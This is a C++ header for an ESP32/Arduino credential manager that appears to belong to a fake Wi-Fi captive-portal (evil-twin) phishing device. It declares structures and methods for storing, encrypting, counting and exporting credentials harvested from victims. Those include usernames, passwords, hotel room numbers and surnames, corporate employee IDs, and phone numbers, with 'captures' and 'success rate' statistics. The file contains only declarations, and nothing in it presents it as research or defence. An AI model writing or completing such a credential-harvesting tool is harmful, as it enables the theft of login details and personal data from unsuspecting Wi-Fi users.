#ifndef CREDENTIAL_MANAGER_H
#define CREDENTIAL_MANAGER_H

#include <Arduino.h>
#include <ArduinoJson.h>
#include <SPIFFS.h>
#include <WiFi.h>
#include <mbedtls/aes.h>
#include <mbedtls/md.h>
#include <mbedtls/entropy.h>
#include <mbedtls/ctr_drbg.h>

// Configuration constants
#define MAX_CREDENTIALS 500
#define CREDENTIAL_FILE "/credentials.enc"
#define STATS_FILE "/stats.json"
#define AES_KEY_SIZE 32
#define AES_IV_SIZE 16
#define HASH_SIZE 32

// Credential types
enum CredentialType {
    CRED_GENERIC = 0,
    CRED_HOTEL = 1,
    CRED_CORPORATE = 2,
    CRED_PUBLIC = 3,
    CRED_SOCIAL = 4
};

// Credential structure
struct Credential {
    uint32_t id;
    CredentialType type;
    char ssid[33];
    char timestamp[25];
    char ip_address[16];
    char user_agent[256];
    
    // Generic fields
    char username[64];
    char password[128];
    char email[128];
    
    // Hotel specific
    char room_number[10];
    char last_name[64];
    
    // Corporate specific
    char department[32];
    char employee_id[16];
    
    // Public WiFi specific
    char full_name[64];
    char phone[20];
    char purpose[32];
    
    // Social login
    char provider[16];
    
    bool is_valid;
    uint32_t checksum;
};

// Statistics structure
struct CredentialStats {
    uint32_t total_captured;
    uint32_t generic_count;
    uint32_t hotel_count;
    uint32_t corporate_count;
    uint32_t public_count;
    uint32_t social_count;
    uint32_t unique_ssids;
    char last_capture[25];
    char first_capture[25];
    uint32_t session_captures;
    float success_rate;
};

class CredentialManager {
private:
    uint8_t encryption_key[AES_KEY_SIZE];
    uint8_t iv[AES_IV_SIZE];
    mbedtls_aes_context aes_ctx;
    mbedtls_entropy_context entropy;
    mbedtls_ctr_drbg_context ctr_drbg;
    
    Credential* credentials;
    uint32_t credential_count;
    uint32_t next_id;
    CredentialStats stats;
    
    bool initialized;
    bool encryption_enabled;
    
    // Private methods
    bool initializeEncryption();
    bool generateEncryptionKey();
    bool encryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
    bool decryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
    uint32_t calculateChecksum(const Credential* cred);
    bool validateCredential(const Credential* cred);
    void updateStats(const Credential* cred);
    bool saveCredentialsToFile();
    bool loadCredentialsFromFile();
    bool saveStatsToFile();
    bool loadStatsFromFile();
    void sanitizeInput(char* input, size_t max_len);
    bool isDuplicateCredential(const Credential* cred);
    
public:
    CredentialManager();
    ~CredentialManager();
    
    // Initialization
    bool begin(bool enable_encryption = true);
    bool isInitialized() const { return initialized; }
    
    // Credential management
    bool addCredential(const JsonDocument& json_data);
    bool addGenericCredential(const char* ssid, const char* username, const char* password, const char* email = nullptr);
    bool addHotelCredential(const char* ssid, const char* room_number, const char* last_name, const char* email = nullptr);
    bool addCorporateCredential(const char* ssid, const char* username, const char* password, const char* department, const char* employee_id);
    bool addPublicCredential(const char* ssid, const char* email, const char* name, const char* phone = nullptr, const char* purpose = nullptr);
    bool addSocialCredential(const char* ssid, const char* provider);
    
    // Data retrieval
    uint32_t getCredentialCount() const { return credential_count; }
    const Credential* getCredential(uint32_t index) const;
    const Credential* getCredentialById(uint32_t id) const;
    const CredentialStats* getStats() const { return &stats; }
    
    // Export functions
    String exportCredentialsJSON(bool include_passwords = false);
    String exportCredentialsCSV(bool include_passwords = false);
    String exportStatsJSON();
    bool exportToSD(const char* filename, bool include_passwords = false);
    bool autoBackupToSD();
    
    // Search and filter
    uint32_t findCredentialsBySSID(const char* ssid, uint32_t* results, uint32_t max_results);
    uint32_t findCredentialsByType(CredentialType type, uint32_t* results, uint32_t max_results);
    uint32_t findCredentialsByTimeRange(const char* start_time, const char* end_time, uint32_t* results, uint32_t max_results);
    
    // Management functions
    bool clearAllCredentials();
    bool deleteCredential(uint32_t id);
    bool compactStorage();
    size_t getStorageUsed();
    size_t getStorageAvailable();
    
    // Security functions
    bool changeEncryptionKey(const char* new_key);
    bool verifyIntegrity();
    bool createBackup(const char* filename);
    bool restoreBackup(const char* filename);
    
    // Real-time functions
    void resetSessionStats();
    float getCurrentSuccessRate();
    uint32_t getSessionCaptures() const { return stats.session_captures; }
    
    // Utility functions
    static const char* credentialTypeToString(CredentialType type);
    static CredentialType stringToCredentialType(const char* type_str);
    static String formatTimestamp();
    static bool isValidEmail(const char* email);
    static bool isValidPhone(const char* phone);
};

// Global instance
extern CredentialManager credentialManager;

// Helper macros
#define CRED_LOG(msg) Serial.printf("[CRED] %s\n", msg)
#define CRED_LOG_F(fmt, ...) Serial.printf("[CRED] " fmt "\n", ##__VA_ARGS__)

#endif // CREDENTIAL_MANAGER_H